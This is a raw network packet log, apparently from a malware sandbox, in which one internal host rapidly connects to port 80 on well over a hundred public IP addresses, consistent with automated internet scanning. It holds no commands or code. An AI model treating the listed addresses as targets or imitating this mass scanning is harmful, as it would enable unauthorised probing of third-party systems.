Dec 3, 2024 21:30:47.126729012 CET	60028	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:47.127485037 CET	44126	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:47.128166914 CET	39888	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:47.128938913 CET	54002	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:47.129780054 CET	57976	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:47.130573034 CET	59458	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:47.131290913 CET	39598	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:47.132031918 CET	44184	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:47.132800102 CET	47072	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:47.133534908 CET	37822	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:47.134233952 CET	33458	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:47.135144949 CET	56784	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:47.136017084 CET	45934	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:47.136718035 CET	34690	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:47.137428999 CET	38100	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:47.138094902 CET	34436	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:47.139007092 CET	47556	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:47.139779091 CET	44740	80	192.168.2.23	202.42.96.98
Dec 3, 2024 21:30:47.140577078 CET	44170	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:47.141318083 CET	45350	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:47.142036915 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:47.142782927 CET	41664	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:47.143521070 CET	39552	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:47.144289017 CET	44024	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:47.145253897 CET	43128	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:47.146420956 CET	54830	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:47.147145987 CET	60286	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:47.147919893 CET	48818	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:47.148756027 CET	55744	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:47.149605989 CET	60518	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:47.150511980 CET	48860	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:47.151319981 CET	45660	80	192.168.2.23	197.193.109.69
Dec 3, 2024 21:30:47.152271032 CET	39454	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:47.152937889 CET	48276	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:47.153759956 CET	60512	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:47.154455900 CET	43838	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:47.155230045 CET	58148	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:47.155921936 CET	36052	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:47.156517029 CET	60610	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:47.157633066 CET	36088	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:47.158425093 CET	55766	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:47.159235954 CET	34222	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:47.159871101 CET	59584	80	192.168.2.23	146.130.90.64
Dec 3, 2024 21:30:47.160723925 CET	44394	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:47.161544085 CET	41300	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:47.162254095 CET	43802	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:47.163074017 CET	37520	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:47.163749933 CET	41738	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:47.164488077 CET	34066	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:47.165183067 CET	33604	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:47.166016102 CET	32938	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:47.166755915 CET	37090	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:47.167574883 CET	50612	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:47.184489012 CET	56878	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:47.185208082 CET	60466	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:47.185946941 CET	58478	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:47.186577082 CET	41120	80	192.168.2.23	143.64.223.189
Dec 3, 2024 21:30:47.187203884 CET	40204	80	192.168.2.23	117.28.210.174
Dec 3, 2024 21:30:47.187984943 CET	57176	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:47.188740015 CET	58894	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:47.189493895 CET	38070	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:47.190263987 CET	49118	80	192.168.2.23	60.56.169.194
Dec 3, 2024 21:30:47.191101074 CET	54784	80	192.168.2.23	210.147.64.70
Dec 3, 2024 21:30:47.191739082 CET	36806	80	192.168.2.23	67.64.187.21
Dec 3, 2024 21:30:47.192389011 CET	35502	80	192.168.2.23	9.37.142.235
Dec 3, 2024 21:30:47.193048000 CET	54170	80	192.168.2.23	17.167.215.31
Dec 3, 2024 21:30:47.193734884 CET	34926	80	192.168.2.23	212.142.16.202
Dec 3, 2024 21:30:47.194538116 CET	57736	80	192.168.2.23	24.0.191.2
Dec 3, 2024 21:30:47.195214033 CET	54956	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:47.242088079 CET	80	59010	73.108.231.65	192.168.2.23
Dec 3, 2024 21:30:47.242139101 CET	80	59010	18.211.7.205	192.168.2.23
Dec 3, 2024 21:30:47.242161036 CET	80	59010	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.242166042 CET	80	59010	51.30.12.228	192.168.2.23
Dec 3, 2024 21:30:47.242172003 CET	80	59010	181.179.122.117	192.168.2.23
Dec 3, 2024 21:30:47.242177010 CET	80	59010	71.241.199.137	192.168.2.23
Dec 3, 2024 21:30:47.242182016 CET	80	59010	64.213.12.242	192.168.2.23
Dec 3, 2024 21:30:47.242186069 CET	80	59010	67.165.85.6	192.168.2.23
Dec 3, 2024 21:30:47.242191076 CET	80	59010	57.80.127.128	192.168.2.23
Dec 3, 2024 21:30:47.242199898 CET	80	59010	32.52.200.179	192.168.2.23
Dec 3, 2024 21:30:47.242204905 CET	80	59010	156.152.234.108	192.168.2.23
Dec 3, 2024 21:30:47.242218018 CET	80	59010	46.56.224.146	192.168.2.23
Dec 3, 2024 21:30:47.242233992 CET	59010	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.242234945 CET	59010	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.242234945 CET	59010	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.242238998 CET	59010	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.242254019 CET	59010	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:47.242255926 CET	80	59010	109.170.255.145	192.168.2.23
Dec 3, 2024 21:30:47.242263079 CET	59010	80	192.168.2.23	156.152.234.108
Dec 3, 2024 21:30:47.242275000 CET	59010	80	192.168.2.23	51.30.12.228
Dec 3, 2024 21:30:47.242279053 CET	59010	80	192.168.2.23	46.56.224.146
Dec 3, 2024 21:30:47.242279053 CET	59010	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.242285013 CET	80	59010	113.147.65.116	192.168.2.23
Dec 3, 2024 21:30:47.242292881 CET	59010	80	192.168.2.23	71.241.199.137
Dec 3, 2024 21:30:47.242292881 CET	59010	80	192.168.2.23	32.52.200.179
Dec 3, 2024 21:30:47.242295027 CET	80	59010	196.184.18.109	192.168.2.23
Dec 3, 2024 21:30:47.242296934 CET	59010	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:47.242296934 CET	59010	80	192.168.2.23	109.170.255.145
Dec 3, 2024 21:30:47.242305994 CET	80	59010	43.224.132.202	192.168.2.23
Dec 3, 2024 21:30:47.242321968 CET	59010	80	192.168.2.23	113.147.65.116
Dec 3, 2024 21:30:47.242322922 CET	80	59010	44.110.203.30	192.168.2.23
Dec 3, 2024 21:30:47.242333889 CET	80	59010	84.80.80.191	192.168.2.23
Dec 3, 2024 21:30:47.242338896 CET	59010	80	192.168.2.23	196.184.18.109
Dec 3, 2024 21:30:47.242342949 CET	80	59010	96.138.239.29	192.168.2.23
Dec 3, 2024 21:30:47.242347002 CET	59010	80	192.168.2.23	43.224.132.202
Dec 3, 2024 21:30:47.242355108 CET	80	59010	116.89.72.201	192.168.2.23
Dec 3, 2024 21:30:47.242363930 CET	80	59010	73.240.148.23	192.168.2.23
Dec 3, 2024 21:30:47.242372990 CET	59010	80	192.168.2.23	84.80.80.191
Dec 3, 2024 21:30:47.242373943 CET	59010	80	192.168.2.23	44.110.203.30
Dec 3, 2024 21:30:47.242373943 CET	80	59010	95.173.119.198	192.168.2.23
Dec 3, 2024 21:30:47.242378950 CET	59010	80	192.168.2.23	96.138.239.29
Dec 3, 2024 21:30:47.242403984 CET	59010	80	192.168.2.23	116.89.72.201
Dec 3, 2024 21:30:47.242408991 CET	59010	80	192.168.2.23	73.240.148.23
Dec 3, 2024 21:30:47.242413044 CET	59010	80	192.168.2.23	95.173.119.198
Dec 3, 2024 21:30:47.242417097 CET	80	59010	107.185.75.32	192.168.2.23
Dec 3, 2024 21:30:47.242429018 CET	80	59010	106.112.235.0	192.168.2.23
Dec 3, 2024 21:30:47.242438078 CET	80	59010	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:47.242449999 CET	80	59010	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.242460966 CET	59010	80	192.168.2.23	107.185.75.32
Dec 3, 2024 21:30:47.242460966 CET	80	59010	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:47.242466927 CET	59010	80	192.168.2.23	106.112.235.0
Dec 3, 2024 21:30:47.242469072 CET	59010	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:47.242470980 CET	80	59010	98.250.251.241	192.168.2.23
Dec 3, 2024 21:30:47.242475986 CET	59010	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.242501020 CET	80	59010	61.221.108.188	192.168.2.23
Dec 3, 2024 21:30:47.242501020 CET	59010	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:47.242502928 CET	59010	80	192.168.2.23	98.250.251.241
Dec 3, 2024 21:30:47.242537022 CET	59010	80	192.168.2.23	61.221.108.188
Dec 3, 2024 21:30:47.242539883 CET	80	59010	79.143.137.11	192.168.2.23
Dec 3, 2024 21:30:47.242563009 CET	80	59010	52.145.201.68	192.168.2.23
Dec 3, 2024 21:30:47.242578030 CET	59010	80	192.168.2.23	79.143.137.11
Dec 3, 2024 21:30:47.242599964 CET	80	59010	12.110.131.42	192.168.2.23
Dec 3, 2024 21:30:47.242600918 CET	59010	80	192.168.2.23	52.145.201.68
Dec 3, 2024 21:30:47.242609978 CET	80	59010	130.122.83.128	192.168.2.23
Dec 3, 2024 21:30:47.242636919 CET	80	59010	97.223.129.229	192.168.2.23
Dec 3, 2024 21:30:47.242640972 CET	59010	80	192.168.2.23	12.110.131.42
Dec 3, 2024 21:30:47.242646933 CET	80	59010	89.165.54.210	192.168.2.23
Dec 3, 2024 21:30:47.242667913 CET	59010	80	192.168.2.23	130.122.83.128
Dec 3, 2024 21:30:47.242667913 CET	59010	80	192.168.2.23	89.165.54.210
Dec 3, 2024 21:30:47.242671967 CET	59010	80	192.168.2.23	97.223.129.229
Dec 3, 2024 21:30:47.242716074 CET	80	59010	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.242726088 CET	80	59010	110.230.253.216	192.168.2.23
Dec 3, 2024 21:30:47.242736101 CET	80	59010	178.59.183.48	192.168.2.23
Dec 3, 2024 21:30:47.242757082 CET	59010	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.242759943 CET	59010	80	192.168.2.23	110.230.253.216
Dec 3, 2024 21:30:47.242774010 CET	80	59010	107.226.250.115	192.168.2.23
Dec 3, 2024 21:30:47.242780924 CET	59010	80	192.168.2.23	178.59.183.48
Dec 3, 2024 21:30:47.242814064 CET	59010	80	192.168.2.23	107.226.250.115
Dec 3, 2024 21:30:47.243526936 CET	80	59010	200.11.18.9	192.168.2.23
Dec 3, 2024 21:30:47.243571043 CET	59010	80	192.168.2.23	200.11.18.9
Dec 3, 2024 21:30:47.243573904 CET	80	59010	129.164.231.71	192.168.2.23
Dec 3, 2024 21:30:47.243585110 CET	80	59010	102.60.181.107	192.168.2.23
Dec 3, 2024 21:30:47.243604898 CET	80	59010	115.99.6.127	192.168.2.23
Dec 3, 2024 21:30:47.243614912 CET	80	59010	218.251.189.170	192.168.2.23
Dec 3, 2024 21:30:47.243618011 CET	59010	80	192.168.2.23	129.164.231.71
Dec 3, 2024 21:30:47.243621111 CET	59010	80	192.168.2.23	102.60.181.107
Dec 3, 2024 21:30:47.243626118 CET	80	59010	76.148.251.234	192.168.2.23
Dec 3, 2024 21:30:47.243643999 CET	80	59010	198.116.35.7	192.168.2.23
Dec 3, 2024 21:30:47.243647099 CET	59010	80	192.168.2.23	218.251.189.170
Dec 3, 2024 21:30:47.243648052 CET	59010	80	192.168.2.23	115.99.6.127
Dec 3, 2024 21:30:47.243654013 CET	80	59010	64.8.100.136	192.168.2.23
Dec 3, 2024 21:30:47.243654013 CET	59010	80	192.168.2.23	76.148.251.234
Dec 3, 2024 21:30:47.243684053 CET	59010	80	192.168.2.23	64.8.100.136
Dec 3, 2024 21:30:47.243685007 CET	59010	80	192.168.2.23	198.116.35.7
Dec 3, 2024 21:30:47.243694067 CET	80	59010	182.169.32.170	192.168.2.23
Dec 3, 2024 21:30:47.243704081 CET	80	59010	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.243712902 CET	80	59010	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.243731976 CET	80	59010	202.97.254.254	192.168.2.23
Dec 3, 2024 21:30:47.243731976 CET	59010	80	192.168.2.23	182.169.32.170
Dec 3, 2024 21:30:47.243731976 CET	59010	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.243741035 CET	80	59010	123.240.89.124	192.168.2.23
Dec 3, 2024 21:30:47.243745089 CET	59010	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.243760109 CET	80	59010	58.168.110.144	192.168.2.23
Dec 3, 2024 21:30:47.243768930 CET	80	59010	52.200.108.226	192.168.2.23
Dec 3, 2024 21:30:47.243768930 CET	59010	80	192.168.2.23	202.97.254.254
Dec 3, 2024 21:30:47.243773937 CET	59010	80	192.168.2.23	123.240.89.124
Dec 3, 2024 21:30:47.243779898 CET	80	59010	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:47.243802071 CET	80	59010	181.135.94.144	192.168.2.23
Dec 3, 2024 21:30:47.243807077 CET	59010	80	192.168.2.23	58.168.110.144
Dec 3, 2024 21:30:47.243807077 CET	59010	80	192.168.2.23	52.200.108.226
Dec 3, 2024 21:30:47.243808985 CET	59010	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:47.243817091 CET	80	59010	93.109.211.120	192.168.2.23
Dec 3, 2024 21:30:47.243837118 CET	59010	80	192.168.2.23	181.135.94.144
Dec 3, 2024 21:30:47.243849039 CET	80	59010	126.39.75.57	192.168.2.23
Dec 3, 2024 21:30:47.243853092 CET	59010	80	192.168.2.23	93.109.211.120
Dec 3, 2024 21:30:47.243859053 CET	80	59010	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.243885040 CET	59010	80	192.168.2.23	126.39.75.57
Dec 3, 2024 21:30:47.243900061 CET	59010	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.243974924 CET	80	59010	84.2.157.168	192.168.2.23
Dec 3, 2024 21:30:47.243984938 CET	80	59010	48.98.7.80	192.168.2.23
Dec 3, 2024 21:30:47.243993044 CET	80	59010	95.154.134.134	192.168.2.23
Dec 3, 2024 21:30:47.244003057 CET	80	59010	157.191.168.219	192.168.2.23
Dec 3, 2024 21:30:47.244010925 CET	80	59010	114.207.48.70	192.168.2.23
Dec 3, 2024 21:30:47.244012117 CET	59010	80	192.168.2.23	48.98.7.80
Dec 3, 2024 21:30:47.244019985 CET	59010	80	192.168.2.23	84.2.157.168
Dec 3, 2024 21:30:47.244030952 CET	80	59010	109.234.214.16	192.168.2.23
Dec 3, 2024 21:30:47.244030952 CET	59010	80	192.168.2.23	157.191.168.219
Dec 3, 2024 21:30:47.244035959 CET	59010	80	192.168.2.23	95.154.134.134
Dec 3, 2024 21:30:47.244046926 CET	80	59010	31.86.182.119	192.168.2.23
Dec 3, 2024 21:30:47.244051933 CET	59010	80	192.168.2.23	114.207.48.70
Dec 3, 2024 21:30:47.244059086 CET	80	59010	178.101.159.218	192.168.2.23
Dec 3, 2024 21:30:47.244064093 CET	59010	80	192.168.2.23	109.234.214.16
Dec 3, 2024 21:30:47.244077921 CET	59010	80	192.168.2.23	31.86.182.119
Dec 3, 2024 21:30:47.244108915 CET	59010	80	192.168.2.23	178.101.159.218
Dec 3, 2024 21:30:47.244434118 CET	80	59010	223.162.195.215	192.168.2.23
Dec 3, 2024 21:30:47.244442940 CET	80	59010	135.109.102.143	192.168.2.23
Dec 3, 2024 21:30:47.244474888 CET	80	59010	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.244479895 CET	59010	80	192.168.2.23	135.109.102.143
Dec 3, 2024 21:30:47.244479895 CET	59010	80	192.168.2.23	223.162.195.215
Dec 3, 2024 21:30:47.244489908 CET	80	59010	161.26.235.62	192.168.2.23
Dec 3, 2024 21:30:47.244503021 CET	80	59010	17.86.28.212	192.168.2.23
Dec 3, 2024 21:30:47.244519949 CET	59010	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.244519949 CET	59010	80	192.168.2.23	161.26.235.62
Dec 3, 2024 21:30:47.244528055 CET	80	59010	185.162.190.230	192.168.2.23
Dec 3, 2024 21:30:47.244535923 CET	59010	80	192.168.2.23	17.86.28.212
Dec 3, 2024 21:30:47.244551897 CET	80	59010	191.132.168.221	192.168.2.23
Dec 3, 2024 21:30:47.244560957 CET	59010	80	192.168.2.23	185.162.190.230
Dec 3, 2024 21:30:47.244587898 CET	80	59010	207.5.76.25	192.168.2.23
Dec 3, 2024 21:30:47.244594097 CET	59010	80	192.168.2.23	191.132.168.221
Dec 3, 2024 21:30:47.244632006 CET	59010	80	192.168.2.23	207.5.76.25
Dec 3, 2024 21:30:47.244637966 CET	80	59010	87.20.9.48	192.168.2.23
Dec 3, 2024 21:30:47.244678020 CET	59010	80	192.168.2.23	87.20.9.48
Dec 3, 2024 21:30:47.244688988 CET	80	59010	196.118.176.152	192.168.2.23
Dec 3, 2024 21:30:47.244699001 CET	80	59010	142.121.136.148	192.168.2.23
Dec 3, 2024 21:30:47.244708061 CET	80	59010	161.249.62.52	192.168.2.23
Dec 3, 2024 21:30:47.244734049 CET	59010	80	192.168.2.23	196.118.176.152
Dec 3, 2024 21:30:47.244741917 CET	59010	80	192.168.2.23	142.121.136.148
Dec 3, 2024 21:30:47.244746923 CET	59010	80	192.168.2.23	161.249.62.52
Dec 3, 2024 21:30:47.244751930 CET	80	59010	54.119.235.220	192.168.2.23
Dec 3, 2024 21:30:47.244791031 CET	59010	80	192.168.2.23	54.119.235.220
Dec 3, 2024 21:30:47.244796038 CET	80	59010	76.79.68.28	192.168.2.23
Dec 3, 2024 21:30:47.244812012 CET	80	59010	121.95.75.48	192.168.2.23
Dec 3, 2024 21:30:47.244822025 CET	80	59010	152.93.170.225	192.168.2.23
Dec 3, 2024 21:30:47.244838953 CET	59010	80	192.168.2.23	76.79.68.28
Dec 3, 2024 21:30:47.244848967 CET	59010	80	192.168.2.23	121.95.75.48
Dec 3, 2024 21:30:47.244858980 CET	59010	80	192.168.2.23	152.93.170.225
Dec 3, 2024 21:30:47.244904995 CET	80	59010	57.197.211.127	192.168.2.23
Dec 3, 2024 21:30:47.244915962 CET	80	59010	153.235.201.91	192.168.2.23
Dec 3, 2024 21:30:47.244925022 CET	80	59010	169.147.210.149	192.168.2.23
Dec 3, 2024 21:30:47.244961977 CET	59010	80	192.168.2.23	57.197.211.127
Dec 3, 2024 21:30:47.244961977 CET	59010	80	192.168.2.23	153.235.201.91
Dec 3, 2024 21:30:47.244961977 CET	59010	80	192.168.2.23	169.147.210.149
Dec 3, 2024 21:30:47.251976967 CET	80	44184	204.107.80.7	192.168.2.23
Dec 3, 2024 21:30:47.252051115 CET	44184	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:47.252736092 CET	42942	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.253485918 CET	43660	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.254165888 CET	45656	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.254779100 CET	45142	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.255649090 CET	57204	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:47.256460905 CET	40332	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:47.257144928 CET	52332	80	192.168.2.23	156.152.234.108
Dec 3, 2024 21:30:47.257985115 CET	54280	80	192.168.2.23	51.30.12.228
Dec 3, 2024 21:30:47.258699894 CET	45910	80	192.168.2.23	46.56.224.146
Dec 3, 2024 21:30:47.259418964 CET	35336	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.259962082 CET	80	44740	202.42.96.98	192.168.2.23
Dec 3, 2024 21:30:47.260006905 CET	44740	80	192.168.2.23	202.42.96.98
Dec 3, 2024 21:30:47.260227919 CET	46980	80	192.168.2.23	71.241.199.137
Dec 3, 2024 21:30:47.260930061 CET	37550	80	192.168.2.23	32.52.200.179
Dec 3, 2024 21:30:47.261761904 CET	60886	80	192.168.2.23	109.170.255.145
Dec 3, 2024 21:30:47.262502909 CET	43278	80	192.168.2.23	113.147.65.116
Dec 3, 2024 21:30:47.263441086 CET	45612	80	192.168.2.23	196.184.18.109
Dec 3, 2024 21:30:47.264257908 CET	44042	80	192.168.2.23	43.224.132.202
Dec 3, 2024 21:30:47.264981031 CET	60636	80	192.168.2.23	44.110.203.30
Dec 3, 2024 21:30:47.265625000 CET	58220	80	192.168.2.23	84.80.80.191
Dec 3, 2024 21:30:47.266232014 CET	37992	80	192.168.2.23	96.138.239.29
Dec 3, 2024 21:30:47.266973972 CET	50144	80	192.168.2.23	116.89.72.201
Dec 3, 2024 21:30:47.267781019 CET	55806	80	192.168.2.23	73.240.148.23
Dec 3, 2024 21:30:47.268577099 CET	47948	80	192.168.2.23	95.173.119.198
Dec 3, 2024 21:30:47.269413948 CET	56792	80	192.168.2.23	106.112.235.0
Dec 3, 2024 21:30:47.270194054 CET	47778	80	192.168.2.23	107.185.75.32
Dec 3, 2024 21:30:47.271043062 CET	53798	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:47.271856070 CET	33108	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.272586107 CET	48512	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:47.273338079 CET	44442	80	192.168.2.23	98.250.251.241
Dec 3, 2024 21:30:47.273772955 CET	80	45660	197.193.109.69	192.168.2.23
Dec 3, 2024 21:30:47.273848057 CET	45660	80	192.168.2.23	197.193.109.69
Dec 3, 2024 21:30:47.274081945 CET	59592	80	192.168.2.23	61.221.108.188
Dec 3, 2024 21:30:47.274777889 CET	49150	80	192.168.2.23	79.143.137.11
Dec 3, 2024 21:30:47.275593996 CET	56860	80	192.168.2.23	52.145.201.68
Dec 3, 2024 21:30:47.276371002 CET	59834	80	192.168.2.23	12.110.131.42
Dec 3, 2024 21:30:47.277040005 CET	59368	80	192.168.2.23	130.122.83.128
Dec 3, 2024 21:30:47.277934074 CET	58864	80	192.168.2.23	97.223.129.229
Dec 3, 2024 21:30:47.278661966 CET	48288	80	192.168.2.23	89.165.54.210
Dec 3, 2024 21:30:47.279381990 CET	47310	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.280136108 CET	45534	80	192.168.2.23	110.230.253.216
Dec 3, 2024 21:30:47.280808926 CET	80	59584	146.130.90.64	192.168.2.23
Dec 3, 2024 21:30:47.280858040 CET	59584	80	192.168.2.23	146.130.90.64
Dec 3, 2024 21:30:47.280862093 CET	58056	80	192.168.2.23	178.59.183.48
Dec 3, 2024 21:30:47.281841040 CET	33304	80	192.168.2.23	107.226.250.115
Dec 3, 2024 21:30:47.282636881 CET	55220	80	192.168.2.23	200.11.18.9
Dec 3, 2024 21:30:47.283396959 CET	59296	80	192.168.2.23	129.164.231.71
Dec 3, 2024 21:30:47.284095049 CET	58354	80	192.168.2.23	102.60.181.107
Dec 3, 2024 21:30:47.284867048 CET	34412	80	192.168.2.23	115.99.6.127
Dec 3, 2024 21:30:47.285799026 CET	44980	80	192.168.2.23	218.251.189.170
Dec 3, 2024 21:30:47.286660910 CET	51684	80	192.168.2.23	76.148.251.234
Dec 3, 2024 21:30:47.287399054 CET	60354	80	192.168.2.23	198.116.35.7
Dec 3, 2024 21:30:47.288281918 CET	48028	80	192.168.2.23	64.8.100.136
Dec 3, 2024 21:30:47.289071083 CET	57084	80	192.168.2.23	182.169.32.170
Dec 3, 2024 21:30:47.304316044 CET	41132	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.304517031 CET	80	56878	27.172.93.161	192.168.2.23
Dec 3, 2024 21:30:47.304573059 CET	56878	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:47.305017948 CET	53818	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.305227995 CET	80	60466	51.194.102.135	192.168.2.23
Dec 3, 2024 21:30:47.305273056 CET	60466	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:47.305721045 CET	60738	80	192.168.2.23	202.97.254.254
Dec 3, 2024 21:30:47.306404114 CET	54644	80	192.168.2.23	123.240.89.124
Dec 3, 2024 21:30:47.307102919 CET	50156	80	192.168.2.23	58.168.110.144
Dec 3, 2024 21:30:47.307825089 CET	33120	80	192.168.2.23	52.200.108.226
Dec 3, 2024 21:30:47.308516026 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:47.309217930 CET	40430	80	192.168.2.23	181.135.94.144
Dec 3, 2024 21:30:47.310010910 CET	35286	80	192.168.2.23	93.109.211.120
Dec 3, 2024 21:30:47.310789108 CET	38852	80	192.168.2.23	126.39.75.57
Dec 3, 2024 21:30:47.311532021 CET	59056	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.311758995 CET	80	36806	67.64.187.21	192.168.2.23
Dec 3, 2024 21:30:47.311841011 CET	36806	80	192.168.2.23	67.64.187.21
Dec 3, 2024 21:30:47.312338114 CET	55706	80	192.168.2.23	48.98.7.80
Dec 3, 2024 21:30:47.313113928 CET	33158	80	192.168.2.23	84.2.157.168
Dec 3, 2024 21:30:47.313992023 CET	55218	80	192.168.2.23	95.154.134.134
Dec 3, 2024 21:30:47.314694881 CET	34438	80	192.168.2.23	157.191.168.219
Dec 3, 2024 21:30:47.315392971 CET	43140	80	192.168.2.23	114.207.48.70
Dec 3, 2024 21:30:47.316131115 CET	47732	80	192.168.2.23	109.234.214.16
Dec 3, 2024 21:30:47.316838980 CET	46086	80	192.168.2.23	31.86.182.119
Dec 3, 2024 21:30:47.317615032 CET	45004	80	192.168.2.23	178.101.159.218
Dec 3, 2024 21:30:47.318218946 CET	35432	80	192.168.2.23	223.162.195.215
Dec 3, 2024 21:30:47.318887949 CET	53408	80	192.168.2.23	135.109.102.143
Dec 3, 2024 21:30:47.319580078 CET	49646	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.320230961 CET	35518	80	192.168.2.23	161.26.235.62
Dec 3, 2024 21:30:47.320976019 CET	58938	80	192.168.2.23	17.86.28.212
Dec 3, 2024 21:30:47.321666002 CET	37144	80	192.168.2.23	185.162.190.230
Dec 3, 2024 21:30:47.322401047 CET	56996	80	192.168.2.23	191.132.168.221
Dec 3, 2024 21:30:47.323108912 CET	41776	80	192.168.2.23	207.5.76.25
Dec 3, 2024 21:30:47.323812008 CET	50446	80	192.168.2.23	87.20.9.48
Dec 3, 2024 21:30:47.324561119 CET	60442	80	192.168.2.23	196.118.176.152
Dec 3, 2024 21:30:47.325361967 CET	51646	80	192.168.2.23	142.121.136.148
Dec 3, 2024 21:30:47.326107979 CET	52200	80	192.168.2.23	161.249.62.52
Dec 3, 2024 21:30:47.326826096 CET	39260	80	192.168.2.23	54.119.235.220
Dec 3, 2024 21:30:47.327511072 CET	41688	80	192.168.2.23	76.79.68.28
Dec 3, 2024 21:30:47.328305006 CET	55748	80	192.168.2.23	121.95.75.48
Dec 3, 2024 21:30:47.329070091 CET	52424	80	192.168.2.23	152.93.170.225
Dec 3, 2024 21:30:47.329813004 CET	39536	80	192.168.2.23	57.197.211.127
Dec 3, 2024 21:30:47.330588102 CET	54144	80	192.168.2.23	153.235.201.91
